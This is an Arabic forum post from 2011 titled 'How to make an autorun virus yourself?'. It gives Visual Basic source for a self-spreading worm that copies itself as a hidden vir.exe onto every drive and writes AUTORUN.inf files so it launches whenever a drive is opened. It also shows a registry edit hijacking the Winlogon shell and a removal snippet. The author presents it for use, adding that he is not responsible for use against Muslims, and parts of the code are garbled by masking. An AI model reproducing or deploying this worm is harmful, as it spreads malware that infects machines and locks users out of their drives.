Admin Admin
عدد المساهمات : 115 تاريخ التسجيل : 04/04/2011
| موضوع: كيف تصنع فيروس autorun بنفسك؟ الأحد مايو 08, 2011 3:33 am | |
| السلام عــــــلــــيـــكــــــم ورحــــــــمـــة الله وبركاته[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]
كيف تصنع فيروس AUTORUN بنفسك بالفيجوال بيسك
هذا كود لفايروس يحتوي علي ملف AUTORUN.INf كلما فتحت الاقراص الصلبة فأن الفايروس يفتح نفسة ونسخ نفسة في جميع الاقراص الصلبة ادخل هذه الاكواد في الفورم لود
كود:
A: FileCopy App.Path + "" + App.EXEName + ".exe", "c:\vir.exe" SetAttr "c:\vir", vbHidden + vbReadOnly + vbArchive + vbSystem Open "c:\AUTORUN.inf" For Append As #1 Print #1, "[AutoRun]" Print #1, "open =vir.exe" Print #1, "****************l\explore\command=vir.exe" Print #1, "****************l\open\command=vir.exe" Close #1 SetAttr "c:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem SetAttr "c:\vir.exe", vbHidden + vbReadOnly + vbArchive + vbSystem
FileCopy App.Path + "" + App.EXEName + ".exe", "d:\vir.exe" SetAttr "d:\vir", vbHidden + vbReadOnly + vbArchive + vbSystem Open "d:\AUTORUN.inf" For Append As #1 Print #1, "[AutoRun]" Print #1, "open = vir.exe" Print #1, "****************l\explore\command=vir.exe" Print #1, "****************l\open\command= vir.exe" Close #1 SetAttr "d:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem SetAttr "d:\vir.exe", vbHidden + vbReadOnly + vbArchive + vbSystem
FileCopy App.Path + "" + App.EXEName + ".exe", "e:\vir.exe" SetAttr "e:\vir", vbHidden + vbReadOnly + vbArchive + vbSystem Open "e:\AUTORUN.inf" For Append As #1 Print #1, "[AutoRun]" Print #1, "open = vir.exe" Print #1, "****************l\explore\command=vir.exe" Print #1, "****************l\open\command= vir.exe" Close #1 SetAttr "e:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem SetAttr "e:\vir.exe", vbHidden + vbReadOnly + vbArchive + vbSystem [size=21]طبعاً الاكواد الي فوق تنسخ الفيروس على القراص الصلبة التالية فقط-السي-الدي-الاي اما اذا كنت تريده ينسخ نفسة على كل الاقراص[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة] تكتب نفس الاوامر الي فوق ولكن مع تغير احرف الاقراص طبعا تكتب الحروف كلها من AالىZ مثال(قبل التعديل)
كود:
On Error Resume Next FileCopy App.Path + "" + App.EXEName + ".exe", "c:vir.exe" SetAttr "c:vir", vbHidden + vbReadOnly + vbArchive + vbSystem Open "c:AUTORUN.inf" For Append As #1 Print #1, "[AutoRun]" Print #1, "open =vir.exe" Print #1, "****************lexplorecommand=vir.exe" Print #1, "****************lopencommand=vir.exe" Close #1 SetAttr "c:AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem SetAttr "c:vir.exe", vbHidden + vbReadOnly + vbArchive + vbSystem
مثال(بعد التعديل)))سيتم نسخ الفيروسات على M On Error Resume Next FileCopy App.Path + "" + App.EXEName + ".exe", "m:\vir.exe" SetAttr "m:\vir", vbHidden + vbReadOnly + vbArchive + vbSystem Open "m:\AUTORUN.inf" For Append As #1 Print #1, "[AutoRun]" Print #1, "open =vir.exe" Print #1, "****************l\explore\command=vir.exe" Print #1, "****************l\open\command=vir.exe" Close #1 SetAttr "m:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem SetAttr "m:\vir.exe", vbHidden + vbReadOnly + vbArchive + vbSystem
|||||||||||||||||| من مميزات الفيروس 1-ينسخ نفسه على كل الاقراص 2-يصنع لنفسه ملف AUTORUN.inf من دون تدخلك[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة] 3-يمكنك التعديل عليه واضافة الاكواد الي تبي ""مثل 4-حتى لو حذفت الفيروس سيعيد نسخ نفسه في المكان الي حذفته منه
يمكن ان تجعلة يقوم بتعطيل ادارة مهام ويندوز بهذا الكود
[b][b][size=21]FileCopy App.Path + "" + App.EXEName + ".exe", "c:windowssystem32vir.exe" Dim WSH As Object Set WSH = CreateObject("Wscript.****************l") WSH.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon****************l", "Explorer.exe vir.exe", "REG_SZ" [b][size=21]وطريقة حذفه ادخل الاكواد التالية في مشروع جديد طبعا بالضافة لاحرف الاقراص الي اضفتها على الاكواد السابقة ولكن قبل كذا اقفل الفيروس من ادارة المهام
كود:
On Error Resume Next SetAttr "c:\AUTORUN.INF", vbNormal Kill "c:\AUTORUN.INF" SetAttr "c:\vir.exe", vbNormal Kill "c:\vir.exe"
SetAttr "d:\AUTORUN.INF", vbNormal Kill "d:\AUTORUN.INF" SetAttr "d:\vir.exe", vbNormal Kill "d:\vir.exe"
SetAttr "e:\AUTORUN.INF", vbNormal Kill "e:\AUTORUN.INF" SetAttr "e:\vir.exe", vbNormal Kill "e:\vir.exe"
SetAttr "f:\AUTORUN.INF", vbNormal Kill "f:\AUTORUN.INF" SetAttr "f:\vir.exe", vbNormal Kill "g:\vir.exe"
SetAttr "g:\AUTORUN.INF", vbNormal Kill "g:\AUTORUN.INF" SetAttr "g:\vir.exe", vbNormal Kill "g:\vir.exe"
___________________ لكن فيه مشكله وحده بالفيروس[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]الفيروس راح يقفل الهاردات بحيث لا يمكنك الدخول اليها لذا ارجوا من الشباب ان يطوروا هذه المشكله فيه بحيث يكون الفيروس قادراً على فتح محرك الاقراص الي هو موجود فيه ________ لترى الفيروسادخل على لوحة التحكم\\\خيارات المجلد\\\عرض اضغط على اظهار الملفات المخفيه+ازالة الصح من امام "اخفاء ملفات النظام المحمية" __________ اتمنى يعجبكم[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة] وانا غير مسؤول امام الله عن اي شخص يستخدمه ضد المسلمين[/size][/b] [/size][/b]goto A [/size][/b] | |
|
القلب الجريح
عدد المساهمات : 18 تاريخ التسجيل : 12/07/2011
| موضوع: رد: كيف تصنع فيروس autorun بنفسك؟ الخميس يوليو 21, 2011 4:16 am | |
| | |
|